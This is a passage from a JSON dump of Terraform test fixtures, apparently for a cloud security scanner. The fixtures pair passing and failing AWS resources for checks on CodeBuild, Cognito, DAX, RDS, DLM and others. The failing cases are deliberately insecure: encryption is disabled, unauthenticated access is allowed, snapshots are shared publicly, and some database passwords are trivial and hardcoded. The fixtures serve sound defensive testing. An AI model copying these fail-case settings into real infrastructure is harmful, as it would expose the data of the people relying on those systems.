role_arn = aws_iam_role.codepipeline_role.arn\n\n  artifact_store {\n    location = aws_s3_bucket.codepipeline_bucket.bucket\n    type     = \"S3\"\n  }\n\n  stage {\n    name = \"Source\"\n\n    action {\n      name             = \"Source\"\n      category         = \"Source\"\n      owner            = \"AWS\"\n      provider         = \"CodeStarSourceConnection\"\n      version          = \"1\"\n      output_artifacts = [\"source_output\"]\n\n      configuration = {\n        ConnectionArn    = aws_codestarconnections_connection.example.arn\n        FullRepositoryId = \"my-organization/example\"\n        BranchName       = \"main\"\n      }\n    }\n  }\n\n  stage {\n    name = \"Build\"\n\n    action {\n      name             = \"Build\"\n      category         = \"Build\"\n      owner            = \"AWS\"\n      provider         = \"CodeBuild\"\n      input_artifacts  = [\"source_output\"]\n      output_artifacts = [\"build_output\"]\n      version          = \"1\"\n\n      configuration = {\n        ProjectName = \"test\"\n      }\n    }\n  }\n\n  stage {\n    name = \"Deploy\"\n\n    action {\n      name            = \"Deploy\"\n      category        = \"Deploy\"\n      owner           = \"AWS\"\n      provider        = \"CloudFormation\"\n      input_artifacts = [\"build_output\"]\n      version         = \"1\"\n\n      configuration = {\n        ActionMode     = \"REPLACE_ON_FAILURE\"\n        Capabilities   = \"CAPABILITY_AUTO_EXPAND,CAPABILITY_IAM\"\n        OutputFileName = \"CreateStackOutput.json\"\n        StackName      = \"MyStack\"\n        TemplatePath   = \"build_output::sam-templated.yaml\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CodebuildHasLogs/main.tf",
    "content": "# pass\n\nresource \"aws_codebuild_project\" \"pass\" {\n  name         = \"example\"\n  service_role = \"aws_iam_role.example.arn\"\n\n  encryption_key = \"aws_kms_key.scanner_key.id\"\n\n  artifacts {\n    type = \"S3\"\n  }\n  environment {\n    compute_type = \"BUILD_GENERAL1_SMALL\"\n    image        = \"docker:dind\"\n    type         = \"LINUX_CONTAINER\"\n  }\n  source {\n    type = \"NO_SOURCE\"\n  }\n  logs_config {\n    s3_logs {\n\n    }\n  }\n}\n\n# fail\n\nresource \"aws_codebuild_project\" \"fail\" {\n  name         = \"example\"\n  service_role = \"aws_iam_role.example.arn\"\n\n  artifacts {\n    type = \"S3\"\n  }\n  environment {\n    compute_type = \"BUILD_GENERAL1_SMALL\"\n    image        = \"docker:dind\"\n    type         = \"LINUX_CONTAINER\"\n  }\n  source {\n    type = \"NO_SOURCE\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CodebuildS3LogsEncrypted/main.tf",
    "content": "resource \"aws_codebuild_project\" \"pass\" {\n  name           = replace(var.name, \".\", \"-\")\n  description    = var.description\n  service_role   = var.role == \"\" ? element(concat(aws_iam_role.codebuild.*.arn, [\"\"]), 0) : element(concat(data.aws_iam_role.existing.*.arn, [\"\"]), 0)\n  build_timeout  = var.build_timeout\n  encryption_key = var.kms_key_id\n\n  artifacts {\n    encryption_disabled = var.encryption_disabled\n    location            = local.bucketname\n    name                = var.name\n    namespace_type      = var.artifact[\"namespace_type\"]\n    packaging           = var.artifact[\"packaging\"]\n    type                = var.artifact_type\n  }\n\n  environment {\n    compute_type    = var.environment[\"compute_type\"]\n    image           = var.environment[\"image\"]\n    type            = var.environment[\"type\"]\n    privileged_mode = var.environment[\"privileged_mode\"]\n  }\n\n  source {\n    type      = var.sourcecode[\"type\"]\n    location  = var.sourcecode[\"location\"]\n    buildspec = var.sourcecode[\"buildspec\"]\n  }\n\n  logs_config {\n    s3_logs {\n      //default value false\n      encryption_disabled = false\n      status              = \"ENABLED\"\n      location            = var.logs_bucket\n    }\n  }\n\n  tags = var.common_tags\n}\n\nresource \"aws_codebuild_project\" \"pass2\" {\n  name           = replace(var.name, \".\", \"-\")\n  description    = var.description\n  service_role   = var.role == \"\" ? element(concat(aws_iam_role.codebuild.*.arn, [\"\"]), 0) : element(concat(data.aws_iam_role.existing.*.arn, [\"\"]), 0)\n  build_timeout  = var.build_timeout\n  encryption_key = var.kms_key_id\n\n  artifacts {\n    encryption_disabled = var.encryption_disabled\n    location            = local.bucketname\n    name                = var.name\n    namespace_type      = var.artifact[\"namespace_type\"]\n    packaging           = var.artifact[\"packaging\"]\n    type                = var.artifact_type\n  }\n\n  environment {\n    compute_type    = var.environment[\"compute_type\"]\n    image           = var.environment[\"image\"]\n    type            = var.environment[\"type\"]\n    privileged_mode = var.environment[\"privileged_mode\"]\n  }\n\n  source {\n    type      = var.sourcecode[\"type\"]\n    location  = var.sourcecode[\"location\"]\n    buildspec = var.sourcecode[\"buildspec\"]\n  }\n\n  logs_config {\n    s3_logs {\n      status   = \"ENABLED\"\n      location = var.logs_bucket\n    }\n  }\n\n  tags = var.common_tags\n}\n\nresource \"aws_codebuild_project\" \"fail\" {\n  name           = replace(var.name, \".\", \"-\")\n  description    = var.description\n  service_role   = var.role == \"\" ? element(concat(aws_iam_role.codebuild.*.arn, [\"\"]), 0) : element(concat(data.aws_iam_role.existing.*.arn, [\"\"]), 0)\n  build_timeout  = var.build_timeout\n  encryption_key = var.kms_key_id\n\n  artifacts {\n    encryption_disabled = var.encryption_disabled\n    location            = local.bucketname\n    name                = var.name\n    namespace_type      = var.artifact[\"namespace_type\"]\n    packaging           = var.artifact[\"packaging\"]\n    type                = var.artifact_type\n  }\n\n  environment {\n    compute_type    = var.environment[\"compute_type\"]\n    image           = var.environment[\"image\"]\n    type            = var.environment[\"type\"]\n    privileged_mode = var.environment[\"privileged_mode\"]\n  }\n\n  source {\n    type      = var.sourcecode[\"type\"]\n    location  = var.sourcecode[\"location\"]\n    buildspec = var.sourcecode[\"buildspec\"]\n  }\n\n  logs_config {\n    s3_logs {\n      //default value false\n      encryption_disabled = true\n      status              = \"ENABLED\"\n      location            = var.logs_bucket\n    }\n  }\n\n  tags = var.common_tags\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CodebuildUsesCMK/main.tf",
    "content": "# pass\n\nresource \"aws_codebuild_project\" \"enabled\" {\n  name         = \"example\"\n  service_role = \"aws_iam_role.example.arn\"\n\n  encryption_key = \"aws_kms_key.scanner_key.id\"\n\n  artifacts {\n    type = \"S3\"\n  }\n  environment {\n    compute_type = \"BUILD_GENERAL1_SMALL\"\n    image        = \"docker:dind\"\n    type         = \"LINUX_CONTAINER\"\n  }\n  source {\n    type = \"NO_SOURCE\"\n  }\n}\n\n# fail\n\nresource \"aws_codebuild_project\" \"default\" {\n  name         = \"example\"\n  service_role = \"aws_iam_role.example.arn\"\n\n  artifacts {\n    type = \"S3\"\n  }\n  environment {\n    compute_type = \"BUILD_GENERAL1_SMALL\"\n    image        = \"docker:dind\"\n    type         = \"LINUX_CONTAINER\"\n  }\n  source {\n    type = \"NO_SOURCE\"\n  }\n}\n\n# unknown\n\nresource \"aws_codebuild_project\" \"no_artifacts\" {\n  name         = \"example\"\n  service_role = \"aws_iam_role.example.arn\"\n\n  artifacts {\n    type = \"NO_ARTIFACTS\"\n  }\n  environment {\n    compute_type = \"BUILD_GENERAL1_SMALL\"\n    image        = \"docker:dind\"\n    type         = \"LINUX_CONTAINER\"\n  }\n  source {\n    type = \"NO_SOURCE\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CodecommitApprovalsRulesRequireMin2/main.tf",
    "content": "resource \"aws_codecommit_approval_rule_template\" \"fail\" {\n  name        = \"MyExampleApprovalRuleTemplate\"\n  description = \"This is an example approval rule template\"\n\n  content = <<EOF\n{\n    \"Version\": \"2018-11-08\",\n    \"DestinationReferences\": [\"refs/heads/master\"],\n    \"Statements\": [{\n        \"Type\": \"Approvers\",\n        \"NumberOfApprovalsNeeded\": 1,\n        \"ApprovalPoolMembers\": [\"arn:aws:sts::123456789012:assumed-role/CodeCommitReview/*\"]\n    }]\n}\nEOF\n}\n\nresource \"aws_codecommit_approval_rule_template\" \"pass\" {\n  name        = \"MyExampleApprovalRuleTemplate\"\n  description = \"This is an example approval rule template\"\n\n  content = <<EOF\n{\n    \"Version\": \"2018-11-08\",\n    \"DestinationReferences\": [\"refs/heads/master\"],\n    \"Statements\": [{\n        \"Type\": \"Approvers\",\n        \"NumberOfApprovalsNeeded\": 2,\n        \"ApprovalPoolMembers\": [\"arn:aws:sts::123456789012:assumed-role/CodeCommitReview/*\"]\n    }]\n}\nEOF\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_CognitoUnauthenticatedIdentities/main.tf",
    "content": "resource \"aws_cognito_identity_pool\" \"pass\" {\n  allow_unauthenticated_identities = false\n}\n\nresource \"aws_cognito_identity_pool\" \"fail\" {\n  allow_unauthenticated_identities = true\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ComprehendEntityRecognizerModelUsesCMK/main.tf",
    "content": "# pass\nresource \"aws_comprehend_entity_recognizer\" \"pass\" {\n  name = \"pass\"\n  model_kms_key_id = aws_kms_key.test.id\n\n  data_access_role_arn = aws_iam_role.pass.arn\n\n  language_code = \"en\"\n  input_data_config {\n    entity_types {\n      type = \"ENTITY_1\"\n    }\n    entity_types {\n      type = \"ENTITY_2\"\n    }\n\n    documents {\n      s3_uri = \"s3://${aws_s3_bucket.documents.bucket}/${aws_s3_object.documents.id}\"\n    }\n\n    entity_list {\n      s3_uri = \"s3://${aws_s3_bucket.entities.bucket}/${aws_s3_object.entities.id}\"\n    }\n  }\n\n  depends_on = [\n    aws_iam_role_policy.example\n  ]\n}\n\nresource \"aws_s3_object\" \"documents\" {\n  # ...\n}\n\nresource \"aws_s3_object\" \"entities\" {\n  # ...\n}\n\n# fail\nresource \"aws_comprehend_entity_recognizer\" \"fail\" {\n  name = \"fail\"\n\n  data_access_role_arn = aws_iam_role.fail.arn\n\n  language_code = \"en\"\n  input_data_config {\n    entity_types {\n      type = \"ENTITY_1\"\n    }\n    entity_types {\n      type = \"ENTITY_2\"\n    }\n\n    documents {\n      s3_uri = \"s3://${aws_s3_bucket.documents.bucket}/${aws_s3_object.documents.id}\"\n    }\n\n    entity_list {\n      s3_uri = \"s3://${aws_s3_bucket.entities.bucket}/${aws_s3_object.entities.id}\"\n    }\n  }\n\n  depends_on = [\n    aws_iam_role_policy.example\n  ]\n}\n\nresource \"aws_s3_object\" \"documents\" {\n  # ...\n}\n\nresource \"aws_s3_object\" \"entities\" {\n  # ...\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ComprehendEntityRecognizerVolumeUsesCMK/main.tf",
    "content": "# pass\nresource \"aws_comprehend_entity_recognizer\" \"pass\" {\n  name = \"pass\"\n  volume_kms_key_id = aws_kms_key.test.id\n\n  data_access_role_arn = aws_iam_role.pass.arn\n\n  language_code = \"en\"\n  input_data_config {\n    entity_types {\n      type = \"ENTITY_1\"\n    }\n    entity_types {\n      type = \"ENTITY_2\"\n    }\n\n    documents {\n      s3_uri = \"s3://${aws_s3_bucket.documents.bucket}/${aws_s3_object.documents.id}\"\n    }\n\n    entity_list {\n      s3_uri = \"s3://${aws_s3_bucket.entities.bucket}/${aws_s3_object.entities.id}\"\n    }\n  }\n\n  depends_on = [\n    aws_iam_role_policy.example\n  ]\n}\n\nresource \"aws_s3_object\" \"documents\" {\n  # ...\n}\n\nresource \"aws_s3_object\" \"entities\" {\n  # ...\n}\n\n# fail\nresource \"aws_comprehend_entity_recognizer\" \"fail\" {\n  name = \"fail\"\n\n  data_access_role_arn = aws_iam_role.fail.arn\n\n  language_code = \"en\"\n  input_data_config {\n    entity_types {\n      type = \"ENTITY_1\"\n    }\n    entity_types {\n      type = \"ENTITY_2\"\n    }\n\n    documents {\n      s3_uri = \"s3://${aws_s3_bucket.documents.bucket}/${aws_s3_object.documents.id}\"\n    }\n\n    entity_list {\n      s3_uri = \"s3://${aws_s3_bucket.entities.bucket}/${aws_s3_object.entities.id}\"\n    }\n  }\n\n  depends_on = [\n    aws_iam_role_policy.example\n  ]\n}\n\nresource \"aws_s3_object\" \"documents\" {\n  # ...\n}\n\nresource \"aws_s3_object\" \"entities\" {\n  # ...\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ConnectInstanceKinesisVideoStreamStorageConfigUsesCMK/main.tf",
    "content": "resource \"aws_connect_instance_storage_config\" \"pass\" {\n  instance_id   = aws_connect_instance.pass.id\n  resource_type = \"MEDIA_STREAMS\"\n\n  storage_config {\n    kinesis_video_stream_config {\n      prefix                 = \"pass\"\n      retention_period_hours = 3\n\n      encryption_config {\n        encryption_type = \"KMS\"\n        key_id          = aws_kms_key.test.arn\n      }\n    }\n    storage_type = \"KINESIS_VIDEO_STREAM\"\n  }\n}\n\n\nresource \"aws_connect_instance_storage_config\" \"fail\" {\n  instance_id   = aws_connect_instance.fail.id\n  resource_type = \"MEDIA_STREAMS\"\n\n  storage_config {\n    kinesis_video_stream_config {\n      prefix                 = \"fail\"\n      retention_period_hours = 3\n\n      encryption_config {\n        encryption_type = \"KMS\"\n      }\n    }\n    storage_type = \"KINESIS_VIDEO_STREAM\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ConnectInstanceS3StorageConfigUsesCMK/main.tf",
    "content": "resource \"aws_connect_instance_storage_config\" \"pass\" {\n  instance_id   = aws_connect_instance.pass.id\n  resource_type = \"CHAT_TRANSCRIPTS\"\n\n  storage_config {\n    s3_config {\n      bucket_name   = aws_s3_bucket.pass.id\n      bucket_prefix = \"pass\"\n\n      encryption_config {\n        encryption_type = \"KMS\"\n        key_id          = aws_kms_key.example.arn\n      }\n    }\n    storage_type = \"S3\"\n  }\n}\n\nresource \"aws_connect_instance_storage_config\" \"fail\" {\n  instance_id   = aws_connect_instance.fail.id\n  resource_type = \"CHAT_TRANSCRIPTS\"\n\n  storage_config {\n    s3_config {\n      bucket_name   = aws_s3_bucket.pass.id\n      bucket_prefix = \"fail\"\n\n      encryption_config {\n        encryption_type = \"KMS\"\n      }\n    }\n    storage_type = \"S3\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DAXEncryption/main.tf",
    "content": "# pass\n\nresource \"aws_dax_cluster\" \"enabled\" {\n  cluster_name       = \"example\"\n  iam_role_arn       = \"data.aws_iam_role.example.arn\"\n  node_type          = \"dax.r4.large\"\n  replication_factor = 1\n\n  server_side_encryption {\n    enabled = True\n  }\n}\n\n# fail\n\nresource \"aws_dax_cluster\" \"default\" {\n  cluster_name       = \"example\"\n  iam_role_arn       = \"data.aws_iam_role.example.arn\"\n  node_type          = \"dax.r4.large\"\n  replication_factor = 1\n}\n\nresource \"aws_dax_cluster\" \"disabled\" {\n  cluster_name       = \"example\"\n  iam_role_arn       = \"data.aws_iam_role.example.arn\"\n  node_type          = \"dax.r4.large\"\n  replication_factor = 1\n\n  server_side_encryption {\n    enabled = False\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DAXEndpointTLS/main.tf",
    "content": "resource \"aws_dax_cluster\" \"fail\" {\n  cluster_name                     = var.cluster_name\n  iam_role_arn                     = var.iam_role_arn\n  parameter_group_name             = aws_dax_parameter_group.example.name\n  subnet_group_name                = aws_dax_subnet_group.example.name\n  cluster_endpoint_encryption_type = \"NONE\"\n  server_side_encryption {\n    enabled = false #default is false\n  }\n  tags = { test = \"Fail\" }\n}\n\nresource \"aws_dax_cluster\" \"fail2\" {\n  cluster_name         = var.cluster_name\n  iam_role_arn         = var.iam_role_arn\n  parameter_group_name = aws_dax_parameter_group.example.name\n  subnet_group_name    = aws_dax_subnet_group.example.name\n  tags                 = { test = \"Fail\" }\n}\n\nresource \"aws_dax_cluster\" \"pass\" {\n  cluster_name                     = var.cluster_name\n  iam_role_arn                     = var.iam_role_arn\n  parameter_group_name             = aws_dax_parameter_group.example.name\n  subnet_group_name                = aws_dax_subnet_group.example.name\n  cluster_endpoint_encryption_type = \"TLS\"\n  server_side_encryption {\n    enabled = false #default is false\n  }\n  tags = { test = \"Fail\" }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DBInstanceBackupRetentionPeriod/main.tf",
    "content": "resource \"aws_rds_cluster\" \"pass\" {\n  backup_retention_period = 35\n}\n\nresource \"aws_rds_cluster\" \"pass2\" {\n}\n\nresource \"aws_rds_cluster\" \"fail2\" {\n  backup_retention_period = 0\n}\n\n#this will fail in tf i dont know why we even bother?\nresource \"aws_rds_cluster\" \"fail\" {\n  backup_retention_period = 36\n}\n\nresource \"aws_db_instance\" \"pass\" {\n  backup_retention_period = 35\n}\n\nresource \"aws_db_instance\" \"pass2\" {\n}\n\nresource \"aws_db_instance\" \"fail2\" {\n  backup_retention_period = 0\n}\n\n#this will fail in tf i dont know why we even bother?\nresource \"aws_db_instance\" \"fail\" {\n  backup_retention_period = 36\n}\n\nresource \"aws_db_instance\" \"unknown\" {\n  backup_retention_period = var.backup_retention_period\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DBInstanceLogging/main.tf",
    "content": "# pass\n\nresource \"aws_db_instance\" \"postgres\" {\n  allocated_storage = 5\n  engine            = \"postgres\"\n  instance_class    = \"db.t3.small\"\n  password          = \"postgres\"\n  username          = \"postgres\"\n\n  enabled_cloudwatch_logs_exports = [\"postgresql\", \"upgrade\"]\n}\n\nresource \"aws_db_instance\" \"mysql\" {\n  allocated_storage = 5\n  engine            = \"mysql\"\n  instance_class    = \"db.t3.small\"\n  password          = \"mysql\"\n  username          = \"mysql\"\n\n  enabled_cloudwatch_logs_exports = [\"general\", \"error\", \"slowquery\"]\n}\n\n# failure\n\nresource \"aws_db_instance\" \"default\" {\n  allocated_storage = 5\n  engine            = \"mysql\"\n  instance_class    = \"db.t3.small\"\n  password          = \"mysql\"\n  username          = \"mysql\"\n}\n\nresource \"aws_db_instance\" \"empty\" {\n  allocated_storage = 5\n  engine            = \"mysql\"\n  instance_class    = \"db.t3.small\"\n  password          = \"mysql\"\n  username          = \"mysql\"\n\n  enabled_cloudwatch_logs_exports = []\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DBInstanceMinorUpgrade/main.tf",
    "content": "resource \"aws_rds_cluster_instance\" \"fail\" {\n  name                         = \"bar\"\n  performance_insights_enabled = false\n  publicly_accessible          = true\n  auto_minor_version_upgrade   = false\n  tags                         = { test = \"Fail\" }\n}\n\nresource \"aws_rds_cluster_instance\" \"fail2\" {\n  name                         = \"bar\"\n  performance_insights_enabled = false\n  publicly_accessible          = true\n  tags                         = { test = \"Fail\" }\n}\n\nresource \"aws_rds_cluster_instance\" \"pass\" {\n  name                         = \"bar\"\n  performance_insights_enabled = false\n\n  # performance_insights_kms_key_id = \"\"\n  # kms_key_id                      = \"\"\n  publicly_accessible        = true\n  auto_minor_version_upgrade = true\n  tags                       = { test = \"Fail\" }\n}\n\nresource \"aws_db_instance\" \"pass\" {\n  //storage_encrypted  = true\n  publicly_accessible        = true\n  backup_retention_period    = 0\n  engine                     = \"postgres\"\n  auto_minor_version_upgrade = true\n  tags                       = { test = \"Fail\" }\n}\n\nresource \"aws_db_instance\" \"fail\" {\n  //storage_encrypted  = true\n  publicly_accessible        = true\n  backup_retention_period    = 0\n  engine                     = \"postgres\"\n  auto_minor_version_upgrade = false\n  tags                       = { test = \"Fail\" }\n}\n\nresource \"aws_db_instance\" \"fail2\" {\n  //storage_encrypted  = true\n  publicly_accessible     = true\n  backup_retention_period = 0\n  engine                  = \"postgres\"\n  tags                    = { test = \"Fail\" }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DBSnapshotCopyUsesCMK/main.tf",
    "content": "resource \"aws_db_snapshot_copy\" \"fail\" {\n  source_db_snapshot_identifier = aws_db_snapshot.example.db_snapshot_arn\n  target_db_snapshot_identifier = \"testsnapshot1234-copy\"\n}\n\nresource \"aws_db_snapshot_copy\" \"pass\" {\n  source_db_snapshot_identifier = aws_db_snapshot.example.db_snapshot_arn\n  target_db_snapshot_identifier = \"testsnapshot1234-copy\"\n  kms_key_id= aws_kms_key.example.id\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DBSnapshotsArePrivate/main.tf",
    "content": "resource \"aws_db_snapshot\" \"pass\" {\n  db_instance_identifier = aws_db_instance.bar.id\n  db_snapshot_identifier = \"testsnapshot1234\"\n}\n\nresource \"aws_db_snapshot\" \"pass2\" {\n  db_instance_identifier = aws_db_instance.bar.id\n  db_snapshot_identifier = \"testsnapshot1234\"\n  shared_accounts=[\"680235478471\"]\n}\n\nresource \"aws_db_snapshot\" \"fail\" {\n  db_instance_identifier = aws_db_instance.bar.id\n  db_snapshot_identifier = \"testsnapshot1234\"\n  shared_accounts=[\"all\"]\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DLMEventsCrossRegionEncryption/main.tf",
    "content": "\nresource \"aws_dlm_lifecycle_policy\" \"fail\" {\n  description        = \"tf-acc-basic\"\n  execution_role_arn = aws_iam_role.example.arn\n\n  policy_details {\n    policy_type = \"EVENT_BASED_POLICY\"\n\n    resource_types = []\n    target_tags    = {}\n    schedule {\n      name = \"sched\"\n      create_rule {\n        interval = 0\n      }\n      retain_rule {\n        count = 0\n      }\n    }\n\n    action {\n      name = \"tf-acc-basic\"\n      cross_region_copy {\n        encryption_configuration {}\n      }\n    }\n\n    event_source {\n      type = \"MANAGED_CWE\"\n      parameters {\n        description_regex = \"^.*Created for policy: policy-1234567890abcdef0.*$\"\n        event_type        = \"shareSnapshot\"\n        snapshot_owner    = [data.aws_caller_identity.current.account_id]\n      }\n    }\n  }\n}\n\n\nresource \"aws_dlm_lifecycle_policy\" \"pass\" {\n  description        = \"tf-acc-basic\"\n  execution_role_arn = aws_iam_role.example.arn\n\n  policy_details {\n    policy_type = \"EVENT_BASED_POLICY\"\n\n    resource_types = []\n    target_tags    = {}\n\n    action {\n      name = \"tf-acc-basic\"\n      cross_region_copy {\n        encryption_configuration {\n          cmk_arn    = aws_kms_key.test.arn\n          encryption = true\n        }\n        retain_rule {\n          interval      = 15\n          interval_unit = \"MONTHS\"\n        }\n\n      }\n    }\n\n    event_source {\n      type = \"MANAGED_CWE\"\n      parameters {\n        description_regex = \"^.*Created for policy: policy-1234567890abcdef0.*$\"\n        event_type        = \"shareSnapshot\"\n        snapshot_owner    = [data.aws_caller_identity.current.account_id]\n      }\n    }\n  }\n}\n\nresource \"aws_dlm_lifecycle_policy\" \"fail2\" {\n  description        = \"tf-acc-basic\"\n  execution_role_arn = aws_iam_role.example.arn\n\n  policy_details {\n    policy_type = \"EVENT_BASED_POLICY\"\n\n    resource_types = []\n    target_tags    = {}\n\n    action {\n      name = \"tf-acc-basic\"\n      cross_region_copy {\n        encryption_configuration {\n          cmk_arn    = aws_kms_key.test.arn\n          encryption = false\n        }\n        retain_rule {\n          interval      = 15\n          interval_unit = \"MONTHS\"\n        }\n\n      }\n    }\n\n    event_source {\n      type = \"MANAGED_CWE\"\n      parameters {\n        description_regex = \"^.*Created for policy: policy-1234567890abcdef0.*$\"\n        event_type        = \"shareSnapshot\"\n        snapshot_owner    = [data.aws_caller_identity.current.account_id]\n      }\n    }\n  }\n}\n\nresource \"aws_dlm_lifecycle_policy\" \"unknown\" {\n  description        = \"example DLM lifecycle policy\"\n  execution_role_arn = aws_iam_role.dlm_lifecycle_role.arn\n  state              = \"ENABLED\"\n\n  policy_details {\n    resource_types = [\"VOLUME\"]\n\n    schedule {\n      name = \"2 weeks of daily snapshots\"\n\n      create_rule {\n        interval      = 24\n        interval_unit = \"HOURS\"\n        times         = [\"23:45\"]\n      }\n\n      retain_rule {\n        count = 14\n      }\n\n      tags_to_add = {\n        SnapshotCreator = \"DLM\"\n      }\n\n      copy_tags = false\n    }\n\n    target_tags = {\n      Snapshot = \"true\"\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DLMEventsCrossRegionEncryptionWithCMK/main.tf",
    "content": "\nresource \"aws_dlm_lifecycle_policy\" \"fail\" {\n  description        = \"tf-acc-basic\"\n  execution_role_arn = aws_iam_role.example.arn\n\n  policy_details {\n    policy_type = \"EVENT_BASED_POLICY\"\n\n    resource_types = []\n    target_tags    = {}\n    schedule {\n      name = \"sched\"\n      create_rule {\n        interval = 0\n      }\n      retain_rule {\n        count = 0\n      }\n    }\n\n    action {\n      name = \"tf-acc-basic\"\n      cross_region_copy {\n        encryption_configuration {}\n      }\n    }\n\n    event_source {\n      type = \"MANAGED_CWE\"\n      parameters {\n        description_regex = \"^.*Created for policy: policy-1234567890abcdef0.*$\"\n        event_type        = \"shareSnapshot\"\n        snapshot_owner    = [data.aws_caller_identity.current.account_id]\n      }\n    }\n  }\n}\n\n\nresource \"aws_dlm_lifecycle_policy\" \"pass\" {\n  description        = \"tf-acc-basic\"\n  execution_role_arn = aws_iam_role.example.arn\n\n  policy_details {\n    policy_type = \"EVENT_BASED_POLICY\"\n\n    resource_types = []\n    target_tags    = {}\n\n    action {\n      name = \"tf-acc-basic\"\n      cross_region_copy {\n        encryption_configuration {\n          cmk_arn    = aws_kms_key.test.arn\n          encryption = true\n        }\n        retain_rule {\n          interval      = 15\n          interval_unit = \"MONTHS\"\n        }\n\n      }\n    }\n\n    event_source {\n      type = \"MANAGED_CWE\"\n      parameters {\n        description_regex = \"^.*Created for policy: policy-1234567890abcdef0.*$\"\n        event_type        = \"shareSnapshot\"\n        snapshot_owner    = [data.aws_caller_identity.current.account_id]\n      }\n    }\n  }\n}\n\nresource \"aws_dlm_lifecycle_policy\" \"fail2\" {\n  description        = \"tf-acc-basic\"\n  execution_role_arn = aws_iam_role.example.arn\n\n  policy_details {\n    policy_type = \"EVENT_BASED_POLICY\"\n\n    resource_types = []\n    target_tags    = {}\n\n    action {\n      name = \"tf-acc-basic\"\n      cross_region_copy {\n        encryption_configuration {\n          encryption = true\n        }\n        retain_rule {\n          interval      = 15\n          interval_unit = \"MONTHS\"\n        }\n\n      }\n    }\n\n    event_source {\n      type = \"MANAGED_CWE\"\n      parameters {\n        description_regex = \"^.*Created for policy: policy-1234567890abcdef0.*$\"\n        event_type        = \"shareSnapshot\"\n        snapshot_owner    = [data.aws_caller_identity.current.account_id]\n      }\n    }\n  }\n}\n\nresource \"aws_dlm_lifecycle_policy\" \"unknown\" {\n  description        = \"example DLM lifecycle policy\"\n  execution_role_arn = aws_iam_role.dlm_lifecycle_role.arn\n  state              = \"ENABLED\"\n\n  policy_details {\n    resource_types = [\"VOLUME\"]\n\n    schedule {\n      name = \"2 weeks of daily snapshots\"\n\n      create_rule {\n        interval      = 24\n        interval_unit = \"HOURS\"\n        times         = [\"23:45\"]\n      }\n\n      retain_rule {\n        count = 14\n      }\n\n      tags_to_add = {\n        SnapshotCreator = \"DLM\"\n      }\n\n      copy_tags = false\n    }\n\n    target_tags = {\n      Snapshot = \"true\"\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DLMScheduleCrossRegionEncryption/main.tf",
    "content": "resource \"aws_dlm_lifecycle_policy\" \"pass\" {\n  description        = \"example DLM lifecycle policy\"\n  execution_role_arn = aws_iam_role.dlm_lifecycle_role.arn\n  state              = \"ENABLED\"\n\n  policy_details {\n    resource_types = [\"VOLUME\"]\n\n    schedule {\n      name = \"2 weeks of daily snapshots\"\n\n      create_rule {\n        interval      = 24\n        interval_unit = \"HOURS\"\n        times         = [\"23:45\"]\n      }\n\n      retain_rule {\n        count = 14\n      }\n\n      tags_to_add = {\n        SnapshotCreator = \"DLM\"\n      }\n\n      copy_tags = false\n\n      cross_region_copy_rule {\n        target    = \"us-west-2\"\n        encrypted = true\n        cmk_arn   = aws_kms_key.dlm_cross_region_copy_cmk.arn\n        copy_tags = true\n        retain_rule {\n          interval      = 30\n          interval_unit = \"DAYS\"\n        }\n      }\n    }\n\n    target_tags = {\n      Snapshot = \"true\"\n    }\n  }\n  tags = {\n    test = \"failed\"\n  }\n}\n\nresource \"aws_dlm_lifecycle_policy\" \"fail\" {\n  description        = \"example DLM lifecycle policy\"\n  execution_role_arn = aws_iam_role.dlm_lifecycle_role.arn\n  state              = \"ENABLED\"\n\n  policy_details {\n    resource_types = [\"VOLUME\"]\n\n    schedule {\n      name = \"2 weeks of daily snapshots\"\n\n      create_rule {\n        interval      = 24\n        interval_unit = \"HOURS\"\n        times         = [\"23:45\"]\n      }\n\n      retain_rule {\n        count = 14\n      }\n\n      tags_to_add = {\n        SnapshotCreator = \"DLM\"\n      }\n\n      copy_tags = false\n\n      cross_region_copy_rule {\n        target    = \"us-west-2\"\n        encrypted = true\n        cmk_arn   = aws_kms_key.dlm_cross_region_copy_cmk.arn\n        copy_tags = true\n        retain_rule {\n          interval      = 30\n          interval_unit = \"DAYS\"\n        }\n      }\n      cross_region_copy_rule {\n        target    = \"us-west-2\"\n        encrypted = false\n        cmk_arn   = aws_kms_key.dlm_cross_region_copy_cmk.arn\n        copy_tags = true\n        retain_rule {\n          interval      = 30\n          interval_unit = \"DAYS\"\n        }\n      }\n    }\n\n    target_tags = {\n      Snapshot = \"true\"\n    }\n  }\n  tags = {\n    test = \"failed\"\n  }\n}\n\nresource \"aws_iam_role\" \"dlm_lifecycle_role\" {\n  assume_role_policy = \"\"\n}\n\nresource \"aws_kms_key\" \"dlm_cross_region_copy_cmk\" {}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_DLMScheduleCrossRegionEncryptionWithCMK/main.tf",
